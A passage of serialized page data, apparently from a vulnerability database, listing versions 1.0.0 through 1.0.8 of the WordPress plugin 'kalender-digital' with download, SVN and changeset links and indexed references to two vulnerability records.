","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkalender-digital.1.0.8.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fkalender-digital\u002Ftags\u002F1.0.8\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fkalender-digital%2Ftags%2F1.0.7&new_path=%2Fkalender-digital%2Ftags%2F1.0.8",[329,330],{"id":62,"url_slug":63,"title":64,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":67},{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":332,"download_url":333,"svn_tag_url":334,"released_at":39,"has_diff":51,"diff_files_changed":335,"diff_lines":39,"trac_diff_url":336,"vulnerabilities":337,"is_current":51},"1.0.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkalender-digital.1.0.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fkalender-digital\u002Ftags\u002F1.0.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fkalender-digital%2Ftags%2F1.0.6&new_path=%2Fkalender-digital%2Ftags%2F1.0.7",[338,339],{"id":62,"url_slug":63,"title":64,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":67},{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":341,"download_url":342,"svn_tag_url":343,"released_at":39,"has_diff":51,"diff_files_changed":344,"diff_lines":39,"trac_diff_url":345,"vulnerabilities":346,"is_current":51},"1.0.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkalender-digital.1.0.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fkalender-digital\u002Ftags\u002F1.0.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fkalender-digital%2Ftags%2F1.0.5&new_path=%2Fkalender-digital%2Ftags%2F1.0.6",[347,348],{"id":62,"url_slug":63,"title":64,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":67},{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":350,"download_url":351,"svn_tag_url":352,"released_at":39,"has_diff":51,"diff_files_changed":353,"diff_lines":39,"trac_diff_url":354,"vulnerabilities":355,"is_current":51},"1.0.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkalender-digital.1.0.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fkalender-digital\u002Ftags\u002F1.0.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fkalender-digital%2Ftags%2F1.0.4&new_path=%2Fkalender-digital%2Ftags%2F1.0.5",[356,357],{"id":62,"url_slug":63,"title":64,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":67},{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":125,"download_url":359,"svn_tag_url":360,"released_at":39,"has_diff":51,"diff_files_changed":361,"diff_lines":39,"trac_diff_url":362,"vulnerabilities":363,"is_current":51},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkalender-digital.1.0.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fkalender-digital\u002Ftags\u002F1.0.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fkalender-digital%2Ftags%2F1.0.3&new_path=%2Fkalender-digital%2Ftags%2F1.0.4",[364,365],{"id":62,"url_slug":63,"title":64,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":67},{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":367,"download_url":368,"svn_tag_url":369,"released_at":39,"has_diff":51,"diff_files_changed":370,"diff_lines":39,"trac_diff_url":371,"vulnerabilities":372,"is_current":51},"1.0.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkalender-digital.1.0.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fkalender-digital\u002Ftags\u002F1.0.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fkalender-digital%2Ftags%2F1.0.2&new_path=%2Fkalender-digital%2Ftags%2F1.0.3",[373,374],{"id":62,"url_slug":63,"title":64,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":67},{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":376,"download_url":377,"svn_tag_url":378,"released_at":39,"has_diff":51,"diff_files_changed":379,"diff_lines":39,"trac_diff_url":380,"vulnerabilities":381,"is_current":51},"1.0.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkalender-digital.1.0.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fkalender-digital\u002Ftags\u002F1.0.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fkalender-digital%2Ftags%2F1.0.1&new_path=%2Fkalender-digital%2Ftags%2F1.0.2",[382,383],{"id":62,"url_slug":63,"title":64,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":67},{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":385,"download_url":386,"svn_tag_url":387,"released_at":39,"has_diff":51,"diff_files_changed":388,"diff_lines":39,"trac_diff_url":389,"vulnerabilities":390,"is_current":51},"1.0.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkalender-digital.1.0.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fkalender-digital\u002Ftags\u002F1.0.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fkalender-digital%2Ftags%2F1.0.0&new_path=%2Fkalender-digital%2Ftags%2F1.0.1",[391,392],{"id":62,"url_slug":63,"title":64,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":67},{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"version":394,"download_url":395,"svn_tag_url":396,"released_at":39,"has_diff":51,"diff_files_changed":397,"diff_lines":39,"trac_diff_url":39,"vulnerabilities":398,"is_current":51},"1.0.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkalender-digital.1.0.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fkalender-digital\u002Ftags\u002F1.0.0\u002F",[],[399,400],{"id":62,"url_slug":63,"title":64,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":67},{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6}]